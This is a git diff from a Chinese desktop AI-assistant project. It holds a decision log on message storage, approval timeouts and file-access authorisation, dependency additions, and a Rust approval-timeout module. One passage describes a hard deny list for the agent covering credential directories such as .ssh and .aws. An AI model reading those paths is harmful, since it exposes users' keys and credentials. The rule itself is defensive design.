- **背景**:消息级溯源 P0(地基 ai_messages 表 ✅ CR-10)+ P1(溯源字段 ✅ CR-12)完成。P2 切读是拆表实际启用(读写路径从 `ai_conversations.messages` JSON 切到 `ai_messages` 表)。 - **背景**:消息级溯源 P0(地基 ai_messages 表 ✅ CR-10)+ P1(溯源字段 ✅ CR-12)完成。P2 切读是拆表实际启用(读写路径从 `ai_conversations.messages` JSON 切到 `ai_messages` 表)。
- **决策点**(技术策略,影响读写路径改造): - **决策**:✅ **b 一次性切读**。读写路径直接切换,保留原 `ai_conversations.messages` 列数据不删(数据安全,可回退)。
- **a 三阶段渐进**(设计推荐):Phase1 脏标记 → Phase2 双写(旧列+新表)→ Phase3 切读删旧列。安全(双写期可对比回退),有性能开销+复杂。 - **状态**:🟢 已决·待推进
- **b 一次性切读**:直接切+删旧列。简单,但切读前无回退(风险)。
- **推荐**:**a 三阶段渐进**(低风险,设计推荐)。但大改(ContextManager restore/clear/compress/replace 读写路径 + save_conversation 双写 + V22 删旧列重建表),需充分测试。
- **关联**:消息级溯源 P0(CR-10 ✅)/ P1(CR-12 ✅)/ 消息拆分存储设计文档
- **状态**:🟡 待用户拍板(P2 是否现在做 + 策略 a/b)。大改建议用户知情后启动。
#### BUG-260623-03 审批 pending 无超时兜底(aichat 卡死·架构)
- **背景**:实测会话 4ae73423 末尾 advance_task 触发审批 `__PENDING__` 后,`agentic/mod.rs:1464` loop return,恢复唯一依赖用户主动 ai_approve。全库无审批超时定时器(cache.rs:31 占位标记无时间戳)。用户离开/忘记 → generating=true 永久挂起,会话卡死,用户须手动重发(且该会话 token 已大,重发易触上限)。属 aichat 中断B,非 generating 状态机卡死(generating 已收敛 GeneratingGuard)。
- **决策点**:审批 pending 超时兜底怎么实现?
- **选项**:
- a: 后端 per-conv 定时器(到期自动 reject + emit 超时,触及 AiSession 单例 + 定时器机制,最彻底)
- b: 前端倒计时提示(用户可见到期,后端不变,最小改动)
- c: 无超时(现状,靠用户手动)
- **推荐**:**b 前端倒计时**(最小改动不触 AiSession;用户可见主动处理)。a 后端定时器最彻底但触及单例大改,归 [[devflow-async-approval-concept]]
- **关联**:memory devflow-async-approval-concept / docs/05-代码审查/aichat-会话实测分析-2026-06-22.md(CR-260622-01 修正)
- **状态**:🟡 待决策
### df-miniapp 全功能审查(2026-06-23 workflow wll7qabgr + 主代补审) ### df-miniapp 全功能审查(2026-06-23 workflow wll7qabgr + 主代补审)
> 6 区域并行审查(chat/会话页/useAiChat/连接层/组件/工程)。已**自主实施**:F1 看门狗 clearWatchdog 兜底 / F2 regenerate 守卫 / F3 flushCurrentText id 精确回填 / F9 stop 终态兜底 + 停止按钮(原无停止入口) / F21 连接状态中文文案 + 手动重连 / switch default 分支 / 二进制帧 warn / scheduleReconnect maxAttempts / 删 test 死页。以下为需决策项。 > 6 区域并行审查(chat/会话页/useAiChat/连接层/组件/工程)。以下为仍待决策/暂缓项。
#### MINIDEC-260623-01 relay 配置层范围(F15·产品方向·分发卡点) #### MINIDEC-260623-01 relay 配置层范围(F15·产品方向·分发卡点)
- **背景**:config.ts relayHost/deviceId/token 全硬编码(setConfig 零调用方,storage 未接,无设置页)。当前填测试服 wss + 本机 device_id(联调期)。分发后用户无法改连自托管中继 → 连不上。 - **背景**:config.ts relayHost/deviceId/token 全硬编码(setConfig 零调用方,storage 未接,无设置页)。当前填测试服 wss + 本机 device_id(联调期)。分发后用户无法改连自托管中继 → 连不上。
@@ -276,35 +192,6 @@
- **用户已定未来愿景(2026-06-23)**:分发阶段做完整配对授权,三步:① 设备端弹二维码 ② 小程序扫码识别并授权,双方来回点击确认 ③ 授权管理(设定授权的权限范围等)。本轮不做,留专项。 - **用户已定未来愿景(2026-06-23)**:分发阶段做完整配对授权,三步:① 设备端弹二维码 ② 小程序扫码识别并授权,双方来回点击确认 ③ 授权管理(设定授权的权限范围等)。本轮不做,留专项。
- **状态**:⏸️ **暂缓(2026-06-23)** —— 当前自用靠手抄 device_id;分发阶段按上述愿景做完整 QR 配对 + 权限范围管理(跨端 df-miniapp/df-relay/桌面端协同,专项立项)。 - **状态**:⏸️ **暂缓(2026-06-23)** —— 当前自用靠手抄 device_id;分发阶段按上述愿景做完整 QR 配对 + 权限范围管理(跨端 df-miniapp/df-relay/桌面端协同,专项立项)。
#### MINIDEC-260623-03 WS 重连续流策略(F10·行为差异·需拍板)
- **背景**:watchdog 在 WS 重连后不重启。重连期间 device 续推 AiTextDelta 会丢(断连窗口)或半截文本错位。当前断连 onStatus 已 reset generating + clearWatchdog(连接断肯定停),但重连后续流未处理。
- **决策点**:重连后续流策略?
- **选项**:
- a: onStatus 'connected' 主动发 load_messages 重新同步整个会话(最稳,但重置视图)
- b: 收到 AiTextDelta 时若 !generating 隐式恢复 + 补 assistant 占位(最平滑,有幽灵续流风险)
- c: 不处理(接受断连窗口该轮丢失)
- **推荐**:**c 现状**(MVP 断连窗口丢失可接受,a/b 复杂度高)。重度依赖移动端弱网再升级 a。
- **状态**:✅ **已实施 a**(2026-06-23)—— 用户决策「断网不丢消息 + 从远端拉完整」。useAiChat syncOnConnect:ws 'connected' → 发 load_messages 拉完整历史(断网期间 missed 消息恢复 + 兼修冷启动空白 P1-C)。cargo check 0 + vue-tsc 0 + build DONE。
#### MINIDEC-260623-04 审批双源状态分裂统一(F4/F5/F6/F13·渲染源决策)
- **背景**:审批状态双写——pendingApprovals 数组 + messages[].toolCalls.status。AiApprovalRequired 双写为源头,AiError/switchConversation 只清 pendingApprovals 一侧(messages 内 tc 留陈旧 pending_approval)→ 可能渲染陈旧审批按钮,点 approve 命中已失效 tool_call。chat 页按 m.toolCalls 内联渲染审批按钮,pendingApprovals 仅顶部徽标计数。
- **决策点**:统一单一渲染源?
- **选项**:
- a: 以 pendingApprovals 为准(messages tc 仅显示 status 不渲染按钮)—— 改 chat 页渲染逻辑(行为变更)
- b: switchConversation/AiError 清 pendingApprovals 时同步遍历 messages 把 pending_approval 标 rejected —— 改 useAiChat 状态清理(纯后端态,UI 不变)
- **推荐**:**b 同步清理**(最小行为变更,治陈旧按钮根因)。a 渲染源统一更彻底但 UI 改动大。
- **关联**:BUG-260623-03(审批超时,后端侧)
- **状态**:✅ **已实施 a 单一渲染源**(2026-06-23)—— 用户决策「审批断网重连恢复卡片状态」。审批卡改从 pendingApprovals 独立面板渲染(与 messages 解耦,避重连 load_messages 替换 messages 的竞态);remote_bridge 加 sync_pending 路由(读 AiSession.pending_approvals 按 conv 过滤重发 AiApprovalRequired/AiDirAuthRequired);useAiChat onStatus 'connected' 清 pendingApprovals + 发 sync_pending 重建;handleEvent 加同 id 去重防竞态重复。内联工具卡保留状态徽标/参数/结果(按钮移面板)。cargo 0 + vue-tsc 0 + build DONE。
#### MINIDEC-260623-05 会话页管理缺口(删除/重命名·需后端命令)
- **背景**:conversations/index.vue 仅列表/切换/新建/下拉刷新。无删除/重命名(需后端 delete_conversation/rename_conversation 命令 + remote_bridge 路由,当前无)。
- **决策点**:miniapp 是否需要会话管理?
- **选项**:
- a: 本轮加(后端命令 + bridge 路由 + 会话页长按菜单)
- b: 暂不做(用户回桌面端管理,MVP 仅查看/切换)
- **推荐**:**⏸️ b 暂不做**(miniapp 定位轻量操作终端,会话管理桌面端足够)
- **状态**:✅ **重命名已实施 / 删除暂缓**(2026-06-23)—— 用户决策「小程序对齐桌面端能改会话名」。remote_bridge 加 rename_conversation 路由(调 ai_conversation_rename + 推 AiConversationList 刷新);useAiChat renameConversation 方法(乐观本地更新);conversations/index.vue 长按会话 uni.showModal 编辑。删除会话暂不做(桌面端管理)。cargo 0 + vue-tsc 0 + build DONE。
#### MINIDEC-260623-06 心跳/历史替换协议(F8/F20·跨模块·低优先) #### MINIDEC-260623-06 心跳/历史替换协议(F8/F20·跨模块·低优先)
- **背景**:(F8)心跳活性检测依赖「任意入站消息」,低活跃场景每 ~60s 误判半开死连接触发无谓重连(relay 无 pong);(F20)AiMessageHistory 整体替换会丢弃正在进行的乐观气泡(device 主动推历史路径难区分 load 响应)。 - **背景**:(F8)心跳活性检测依赖「任意入站消息」,低活跃场景每 ~60s 误判半开死连接触发无谓重连(relay 无 pong);(F20)AiMessageHistory 整体替换会丢弃正在进行的乐观气泡(device 主动推历史路径难区分 load 响应)。
- **决策点**:是否本轮改 relay 协议? - **决策点**:是否本轮改 relay 协议?
@@ -315,18 +202,21 @@
- **推荐**:**⏸️ c 暂缓**(跨模块改动 ROI 低) - **推荐**:**⏸️ c 暂缓**(跨模块改动 ROI 低)
- **状态**:⏸️ 暂缓 - **状态**:⏸️ 暂缓
#### MINIDEC-260623-07 regenerate 零调用方 + 备份组件漂移(P3 收尾)
- **背景**:(1) useAiChat.regenerate() 零调用方(全死,已加 generating 守卫防御);(2) MdView.vue/MentionInput.vue 因绕工具组件解析 bug 被 chat 页内联,源文件保留备用但已与内联实现漂移(MdView 无 mdCache、MentionInput 是 MVP 占位)——「拆回」时会引入旧实现。
- **决策点**:regenerate 加 UI(重发按钮)or 删?备份组件同步/删/保留?
- **选项**:
- a: regenerate 加重发按钮 + 备份组件同步内联实现(或删)
- b: regenerate 删减负 + 备份组件保留标注释(预留工具 bug 修复后拆回)
- **推荐**:**b**(regenerate 删减负,备份保留预留意图)。或 a 视移动端重发需求。
- **状态**:✅ **随 P1-F 选 a**(2026-06-23)—— 🟡 收尾批给 regenerate 加「重发」UI 入口(对齐桌面端),故保留函数不再删;备份组件(MdView/MentionInput)保留预留注释(绕工具解析 bug,未来拆回)。
--- ---
## workspace_root 分发适配(编译期 CARGO_MANIFEST_DIR 写死,跨机器/跨平台失效) ## workspace_root 分发适配(✅ 已解决)
**背景**:workspace_root_path() 用 env!("CARGO_MANIFEST_DIR") 编译期写死开发机路径,分发到其他机器后失效。
**解决(2026-06-28)**:治本方案①——去默认白名单。
- `reload_allowed_dirs` 不再硬塞 workspace_root 到白名单
- 工程根授权完全靠以下两途径(均已就绪):
1. projects.bind_directory:用户绑定项目时自动授权
2. Settings 页 allowed_dirs:用户手动添加持久化白名单
- workspace_root_path() 函数保留:旧 .trash 迁移(init 中一次性)仍需读取
- dev 自用场景:开发机运行时 projects.path 通常含本工程,自然命中白名单
**状态**:✅ 已解决(2026-06-28 方案①落地)
**背景**:`workspace_root_path()`(state.rs)/ `workspace_root()`(tool_registry.rs)/ `workspace_root_str()`(mod.rs)三处同源用 `env!("CARGO_MANIFEST_DIR")`(编译期写死编译机源码路径)。DevFlow 打包分发后: **背景**:`workspace_root_path()`(state.rs)/ `workspace_root()`(tool_registry.rs)/ `workspace_root_str()`(mod.rs)三处同源用 `env!("CARGO_MANIFEST_DIR")`(编译期写死编译机源码路径)。DevFlow 打包分发后:
- 用户机器无编译机路径(如 `E:\wk-lab\devflow`)→ workspace_root 失效 - 用户机器无编译机路径(如 `E:\wk-lab\devflow`)→ workspace_root 失效
@@ -362,37 +252,31 @@
**用户政策指令**:"默认直接访问,明确知道无权限才申请"。 **用户政策指令**:"默认直接访问,明确知道无权限才申请"。
**背景**:F-260619-03 Phase C 去固定根(b22e9ae)后,`reload_allowed_dirs` 在 KV allowed_dirs 或 projects.bind_directory 非空时**丢失 workspace_root**,致工程内路径(如 docs/)误弹窗。用户反馈"本来就有访问权限,为什么还来申请"。详见 todo BUG-260620-05。 **实现现状(2026-06-28 核验)**:✅ 全部已落地——
- **层1 工程内默认免授权**:`reload_allowed_dirs` 无条件保留 workspace_root(`state.rs:839`)。
- **层2 workspace_root 外**:白名单制(不翻转黑名单),三种授权途径:
- **persistent**:Settings 页 `AllowedDirsPanel.vue` 添加(永久持久化)
- **session**:授权弹窗「未来都允许」(会话级)
- **once**:授权弹窗「仅本次」(单次)
- **黑名单兜底**:系统敏感目录(System32 / .ssh / .aws 等)硬拒,即便误入白名单也拒。
- **未授权非黑名单**:弹窗询问用户(PathAuthDecision::NeedsAuthorization)。
**决策点(语义范围澄清)**: **决策(2026-06-28 用户确认)**:workspace_root 外通过授权弹窗访问或 Settings 界面配置白名单 —— 即当前白名单制,不翻转黑名单。
- **层1 工程内默认免授权**(dev 自用足够):`reload_allowed_dirs` 无条件保留 workspace_root(state.rs:618 去 `all_dirs.is_empty()` 包裹)。工程内路径默认放行,workspace_root 外非白名单仍弹窗。1 行修复,确定性 bug(注释承诺失配)。
- **层2 全局默认放行**(语义翻转):`is_authorized` 改黑名单制——非黑名单路径默认放行,仅明确敏感(系统目录/凭据)拒。等于实质去掉白名单授权机制。安全风险大(任何非黑名单路径 AI 可访问),涉 P0 去固定根决策方向推翻。
**与 P0 去固定根冲突**:P0(CR-260620-01 ⑤)决策"去掉代码硬编码固定放行,用户从白名单删工程根后工程根也需授权"。层1 恢复工程内免授权=部分推翻 P0。但 P0 "用户删 root" 语义当前未落地(set/get filter root,root 不可删),层1 不破坏现有能力。 **状态**:✅ 已决·已实施
**与分发适配衔接**:层1 workspace_root = CARGO_MANIFEST_DIR(编译期写死),开发机自用有效;分发后失效则依赖 projects.path 自动授权(reload 已读 project_dirs)。分发适配见上节"workspace_root 分发适配"方案 b。
**倾向**:层1(满足 dev 自用 + 不破坏安全 + 修注释承诺失配的确定性 bug)。层2 若需全局放行另立专项。
**状态**:🟡 待用户拍板(层1 确定性 bug 可直改 1 行;层2 语义翻转需明确安全边界)。
--- ---
## F-09 streaming/currentText 改 per-conv(消息重叠/多会话串扰根治) ## F-09 streaming/currentText 改 per-conv(✅ 已完成)
**背景**:BUG-260624-01 消息重叠核心修复后,论证 workflow 边界角度指出残留根因——`streaming`/`currentText` store 全局单例(非 per-conv),F-09 多会话并发下 A 后台生成(streaming=true)+ 切 B 会话,B 末条 AI 气泡命中 `isLastAi&&streaming&&currentText` 会渲 A 残留 currentText。当前修复(flushCurrentText 自清 + activeConversationId watch 清 streamingBlocks)已大幅收窄残留窗口,但单例根因未除 **背景**:`streaming`/`currentText` 原为 store 全局单例,F-09 多会话并发下 A 后台生成 + 切 B 会话会串扰
**决策点**:是否立项 per-conv 化(streaming/currentText/streamingBlocks 改 Map<convId,...>)? **解决(2026-06-28 核验)**:✅ option a 已落地——
- **a 立项根治**:store 改 per-conv Map,所有读写点改。大改(涉 ai.ts store + useAiEvents/useAiStream/useAiConversations/MessageList 多处),对齐 [[aichat-arch-extensibility]] AiSession 单例未动 + [[fe-arch-tech-debt]] status 无 union。 - `stores/ai.ts``Object.defineProperty` 定义 streaming/currentText accessor
- **b 暂缓(当前缓解够用)**:自清 + activeConv watch 已覆盖主路径(新轮/切会话/结束清),残留仅极端并发场景(A 后台 streaming + 切 B)。等 B 路线多会话并发([[aichat-b-route-parallel-multiround]])正式推进时一并 per-conv。 - 委派 `aiShared.convStreamStates` per-conv Map,按 `activeConversationId` 索引读写
- 单会话回归零变化(accessor 透明继承),多会话切会话不串扰
**多角度论证(自主决策依据)**: **状态**:✅ 已完成
- 根治性:a 一次性消除单例串扰族 bug;b 缓解主路径,极端并发残留。
- 改动面:a 大(store + 5 composable + MessageList),回归风险高,需全链路测;b 零额外改动。
- 时机:b 与 B 路线多会话并发同批做更合理(那时 per-conv 是前置),现在单独做与 B 路线重复拆改。
- 当前用户场景:自用单会话为主,多会话并发(A 后台 + 切 B)非高频。
**倾向**:**⏸️ b 暂缓**(当前修复缓解有效 + per-conv 是 B 路线大改 + 与多会话并发同批更合理)。
**状态**:🟡 待拍板(若用户多会话并发场景频繁 → a 立项;当前单会话为主 → b 暂缓随 B 路线)。
--- ---
@@ -402,4 +286,91 @@
- [2026-06.md](./07-项目管理/待决策归档/2026-06.md) — 2026-06 已决策/已实施/已排期/已解决历史(③类产品取舍 12 项 / ④类设计方向 6 项 / 重投入排期 8 项 / ④类续 5 项 / C类已解决 2 项) - [2026-06.md](./07-项目管理/待决策归档/2026-06.md) — 2026-06 已决策/已实施/已排期/已解决历史(③类产品取舍 12 项 / ④类设计方向 6 项 / 重投入排期 8 项 / ④类续 5 项 / C类已解决 2 项)
> 新月份拍板项累积时,新建 `YYYY-MM.md` 承载。 ### 2026-06-27 讨论已决
#### DEC-260627-01 F-09 B 路线(多会话真并发)
- **决策**:✅ 需要实施
- **记录**:用户确认需要推进多会话并发架构
- **状态**:✅ 已决
#### DEC-260627-02 Conditions 条件引擎
- **决策**:✅ 需要接入使用(开启 feature flag + 可视化)
- **记录**:用户确认需要启用条件引擎并接入工作流执行器
- **核验(2026-06-28)**:✅ 全部已完成——
- 引擎代码完备(`df-workflow/conditions.rs`)
- feature flag `conditions-eval`(默认开,cfg! 门控)
- 执行器集成(`executor.rs` 按入边 condition 过滤)
- 前端 UI(`WorkflowDagDisplay.vue` 可编辑边条件、保存、显示)
- i18n 中英文补齐(workflowCondPlaceholder 等)
- **状态**:✅ 已决·已实施
#### DEC-260627-03 @项目展开摘要(⑥.4 Phase4 前端)
- **决策**:✅ C 方案展开摘要
- **记录**:@[项目] 发送前可展开查看 enrichment 内容
- **状态**:✅ 已决
#### DEC-260627-04 历史消息渲染
- **决策**:✅ C 暂缓
- **记录**:长对话渲染卡顿暂不处理
- **状态**:✅ 已决
### 2026-06-27 讨论待定
#### 对话透明化 L1(目标钉扎可见)
- **背景**:G1 目标钉扎已落地,但用户完全看不见自己设了哪些目标
- **选项**:
- A: 不做
- B: 对话顶部显示目标列表
- C: 显示 + 可删除过时目标 + 持久化
- **决策**:✅ C 方案。对话顶部 🎯 显示目标列表(✅/🔄/⏳ 状态),可清除/编辑,持久化到 ai_conversations 表
- **配套**:模型选择器折叠缩小腾空间
- **状态**:✅ 已决
#### 灵感来源采集
灵感来源采集
- **背景**:灵感捕捉时没有自动记录来源
- **选项**:
- A: 对话自动采集
- B: 手动录入增强
- C: 暂缓
- **决策**:✅ C 暂缓。与知识库抽取共用一次 AI 调用,但灵感需用户确认后才创建(非自动写入)。需前端通知机制,当前不做
- **状态**:✅ 已决 — 暂缓
---
## 已决归档
### 2026-06-28 核验已决
#### DEC-260628-01 安全 8 项
- **核验**:全数已修(代码核验 2026-06-28)
- **详情**:① relay.rs Token 硬编码→env 强制 ✅ / ② api_key Debug 脱敏 ✅ / ③ ScriptNode 白名单 ✅ / ④ bind_directory 路径规范化 ✅ / ⑤ state.rs 锁安全警告注释 ✅ / ⑥ eventbus 错误日志 ✅ / ⑦ probe_pwsh 异步探测 ✅ / ⑧ retry jitter 改进 ✅
- **状态**:✅ 全部完成
#### DEC-260628-02 God 文件拆分
- **核验**:三项拆分全部完成(代码核验 2026-06-28)
- **详情**:AiChat.vue 4026→767行 / tool_registry 单函数已拆 / crud.rs 拆为11文件
- **扩展核验**:ToolCard.vue 拆分也已完成(1527→373行,useToolApproval/useToolCardHeader/useToolCardRender 全部独立)
- **状态**:✅ 全部完成
#### DEC-260628-03 审批 pending 超时兜底
- **决策**:✅ 后端 15min 超时自动取消,超时时长在 Setting 可配置
- **记录**:pending 超 15min→自动 cancel(status=cancelled)+LLM 收到回执
- **状态**:✅ 已实施(2026-06-28):后端 `agentic/approval_timeout.rs` + IPC + Settings UI
#### DEC-260628-04 消息级溯源 P2 切读
- **决策**:✅ b 一次性切读(保留原表数据不删)
- **记录**:读写路径从 `ai_conversations.messages` 切到 `ai_messages` 表,原列保留
- **核验(2026-06-28)**:✅ 全部已完成——
- 写路径:`save_conversation` 已全量重写 ai_messages
- 读路径:`ai_conversation_switch`/`ai_conversation_export`/`remote_bridge::route_load_messages` 优先读 ai_messages,表空时 fallback 旧 JSON(老库兼容)
- 最后一处补全:`knowledge_inject::extract_knowledge_from_conversation` 也切到 ai_messages
- **状态**:✅ 已决·已实施
#### DEC-260628-05 SMELL-P1-6 String→newtype
- **决策**:✅ b 路线(仅 Rust 内部 newtype)
- **记录**:5 处裸 String 改强类型,纯重构
- **评估**:5 处分散在 df-storage(df-types 已有 TaskStatus enum 覆盖)/df-ai/df-ai-core,IPC 边界仍 String 波及中等。属纯重构(无行为变化),优先级低于功能项,后续技术债窗口一并处理。
- **状态**:🟢 已决·优先级低(重构窗口处理)
按月归档(随时间增长追加月份文件,防主文件膨胀):

File diff suppressed because it is too large Load Diff

89
package-lock.json generated
View File

@@ -8,6 +8,8 @@
"name": "devflow", "name": "devflow",
"version": "0.1.0", "version": "0.1.0",
"dependencies": { "dependencies": {
"@antv/x6": "^3.1.7",
"@antv/x6-vue-shape": "^3.0.2",
"@arco-design/web-vue": "^2.58.0", "@arco-design/web-vue": "^2.58.0",
"@tauri-apps/api": "^2", "@tauri-apps/api": "^2",
"@tauri-apps/plugin-dialog": "^2.7.1", "@tauri-apps/plugin-dialog": "^2.7.1",
@@ -27,6 +29,66 @@
"vue-tsc": "^2.2.0" "vue-tsc": "^2.2.0"
} }
}, },
"node_modules/@antv/x6": {
"version": "3.1.7",
"resolved": "https://registry.npmmirror.com/@antv/x6/-/x6-3.1.7.tgz",
"integrity": "sha512-NLKXtbCK51oLbazfFD0XsD93rMmih08UBW4gAuEyLBpwAqHmHe+vP8VhOZDkl5O9jV1LSv85IJghr9CT5tZjWw==",
"license": "MIT",
"dependencies": {
"dom-align": "^1.12.4",
"lodash-es": "^4.17.15",
"mousetrap": "^1.6.5",
"utility-types": "^3.10.0"
},
"engines": {
"node": ">=20.0.0"
}
},
"node_modules/@antv/x6-vue-shape": {
"version": "3.0.2",
"resolved": "https://registry.npmmirror.com/@antv/x6-vue-shape/-/x6-vue-shape-3.0.2.tgz",
"integrity": "sha512-HWnYFvLCaUD9ernINxTn9vCRj66eG/nXKErSSq0hfI4U1HOitC/1oUrzDdwL/BT80HKAQeSsmy7gpDA/79jYlw==",
"license": "MIT",
"dependencies": {
"vue-demi": "latest"
},
"peerDependencies": {
"@antv/x6": "^3.x",
"@vue/composition-api": "^1.0.0-rc.1",
"vue": "^2.0.0 || >=3.0.0"
},
"peerDependenciesMeta": {
"@vue/composition-api": {
"optional": true
}
}
},
"node_modules/@antv/x6-vue-shape/node_modules/vue-demi": {
"version": "0.14.10",
"resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz",
"integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==",
"hasInstallScript": true,
"license": "MIT",
"bin": {
"vue-demi-fix": "bin/vue-demi-fix.js",
"vue-demi-switch": "bin/vue-demi-switch.js"
},
"engines": {
"node": ">=12"
},
"funding": {
"url": "https://github.com/sponsors/antfu"
},
"peerDependencies": {
"@vue/composition-api": "^1.0.0-rc.1",
"vue": "^3.0.0-0 || ^2.6.0"
},
"peerDependenciesMeta": {
"@vue/composition-api": {
"optional": true
}
}
},
"node_modules/@arco-design/color": { "node_modules/@arco-design/color": {
"version": "0.4.0", "version": "0.4.0",
"resolved": "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", "resolved": "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz",
@@ -1486,6 +1548,12 @@
"dev": true, "dev": true,
"license": "MIT" "license": "MIT"
}, },
"node_modules/dom-align": {
"version": "1.12.4",
"resolved": "https://registry.npmmirror.com/dom-align/-/dom-align-1.12.4.tgz",
"integrity": "sha512-R8LUSEay/68zE5c8/3BDxiTEvgb4xZTF0RKmAHfiEVN3klfIpXfi2/QCoiWPccVQ0J/ZGdz9OjzL4uJEP/MRAw==",
"license": "MIT"
},
"node_modules/dompurify": { "node_modules/dompurify": {
"version": "3.4.10", "version": "3.4.10",
"resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.10.tgz", "resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.10.tgz",
@@ -1613,6 +1681,12 @@
"integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==", "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/lodash-es": {
"version": "4.18.1",
"resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz",
"integrity": "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A==",
"license": "MIT"
},
"node_modules/magic-string": { "node_modules/magic-string": {
"version": "0.30.21", "version": "0.30.21",
"resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz",
@@ -1650,6 +1724,12 @@
"url": "https://github.com/sponsors/isaacs" "url": "https://github.com/sponsors/isaacs"
} }
}, },
"node_modules/mousetrap": {
"version": "1.6.5",
"resolved": "https://registry.npmmirror.com/mousetrap/-/mousetrap-1.6.5.tgz",
"integrity": "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA==",
"license": "Apache-2.0 WITH LLVM-exception"
},
"node_modules/muggle-string": { "node_modules/muggle-string": {
"version": "0.4.1", "version": "0.4.1",
"resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz",
@@ -1844,6 +1924,15 @@
"node": ">=14.17" "node": ">=14.17"
} }
}, },
"node_modules/utility-types": {
"version": "3.11.0",
"resolved": "https://registry.npmmirror.com/utility-types/-/utility-types-3.11.0.tgz",
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
"license": "MIT",
"engines": {
"node": ">= 4"
}
},
"node_modules/vite": { "node_modules/vite": {
"version": "6.4.3", "version": "6.4.3",
"resolved": "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", "resolved": "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz",

View File

@@ -13,12 +13,18 @@
"build:dev": "tauri build --debug --no-bundle" "build:dev": "tauri build --debug --no-bundle"
}, },
"dependencies": { "dependencies": {
"@antv/layout": "^2.0.0",
"@antv/x6": "^3.1.7",
"@antv/x6-vue-shape": "^3.0.2",
"@arco-design/web-vue": "^2.58.0", "@arco-design/web-vue": "^2.58.0",
"@tauri-apps/api": "^2", "@tauri-apps/api": "^2",
"@tauri-apps/plugin-dialog": "^2.7.1", "@tauri-apps/plugin-dialog": "^2.7.1",
"@types/dagre": "^0.7.54",
"dagre": "^0.8.5",
"dompurify": "^3.4.10", "dompurify": "^3.4.10",
"highlight.js": "^11.11.1", "highlight.js": "^11.11.1",
"marked": "^18.0.5", "marked": "^18.0.5",
"tslib": "^2.8.1",
"vue": "^3.5.13", "vue": "^3.5.13",
"vue-i18n": "9", "vue-i18n": "9",
"vue-router": "4" "vue-router": "4"

View File

@@ -22,6 +22,8 @@ serde_json.workspace = true
tokio.workspace = true tokio.workspace = true
anyhow.workspace = true anyhow.workspace = true
tracing.workspace = true tracing.workspace = true
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
tracing-appender = "0.2"
chrono.workspace = true chrono.workspace = true
# augmentation::MentionResolver async trait(Input Augmentation 层核心设计2) # augmentation::MentionResolver async trait(Input Augmentation 层核心设计2)
async-trait = { workspace = true } async-trait = { workspace = true }

View File

@@ -1,7 +1,7 @@
{ {
"identifier": "default", "identifier": "default",
"description": "DevFlow default permissions", "description": "DevFlow default permissions",
"windows": ["main", "ai-detached"], "windows": ["main", "ai-detached", "ai-detached-*", "fe-detached-*"],
"permissions": [ "permissions": [
"core:default", "core:default",
"core:event:default", "core:event:default",

View File

@@ -0,0 +1,105 @@
//! 审批超时取消
//!
//! 当用户长时间未处理待审批时,自动将其转为拒绝状态,防止会话永久卡死。
//!
//! 触发点:[`cleanup_expired_approvals`] 由 [`try_continue_agent_loop`] 入口调用,
//! 覆盖所有审批恢复路径(ai_approve / ai_authorize_dir / ai_continue_loop 等)。
//!
//! 超时时长来自 AppState.approval_timeout_minutes(Settings KV 持久化,默认 15 分钟),
//! 0 表示禁用超时。
use std::time::{Duration, SystemTime};
use tauri::{AppHandle, Emitter};
use crate::state::AppState;
use super::super::{
audit::audit_finalize, conversation::save_conversation, AiChatEvent,
};
/// 清理指定会话中超时的待审批。
///
/// 遍历 pending_approvals 中属于 `conv_id` 的条目,若 `created_at` 距今超过
/// `approval_timeout_minutes` 则:
/// 1. 从 pending_approvals 移除
/// 2. 把占位 tool_result 内容替换为"审批超时已自动取消"
/// 3. emit AiApprovalResult(rejected=超时)
/// 4. audit_finalize 写入审计表(status=rejected)
///
/// 设 0 时整体跳过(禁用超时)。无 pending 或均未超时则空操作。
/// 失败(DB 错误等)不抛错,仅日志告警,避免影响主流程。
pub async fn cleanup_expired_approvals(app: &AppHandle, state: &AppState, conv_id: &str) {
// 读超时配置(0 = 禁用)
let timeout_minutes = state.approval_timeout_minutes.load(std::sync::atomic::Ordering::SeqCst);
if timeout_minutes == 0 {
return;
}
let timeout_dur = Duration::from_secs(timeout_minutes * 60);
let now = SystemTime::now();
// 单次锁取出所有超时的审批(锁内不做 await,避免锁跨 await)
let expired: Vec<crate::commands::ai::PendingApproval> = {
let session = state.ai_session.lock().await;
session
.pending_approvals
.iter()
.filter(|(_, a)| {
// 只处理本会话的审批(按 conversation_id 过滤)
a.conversation_id.as_deref() == Some(conv_id)
&& a.created_at
.map(|t| now.duration_since(t).map(|d| d >= timeout_dur).unwrap_or(false))
.unwrap_or(false) // created_at=None(异常)不超时
})
.map(|(_, a)| a.clone())
.collect()
};
if expired.is_empty() {
return;
}
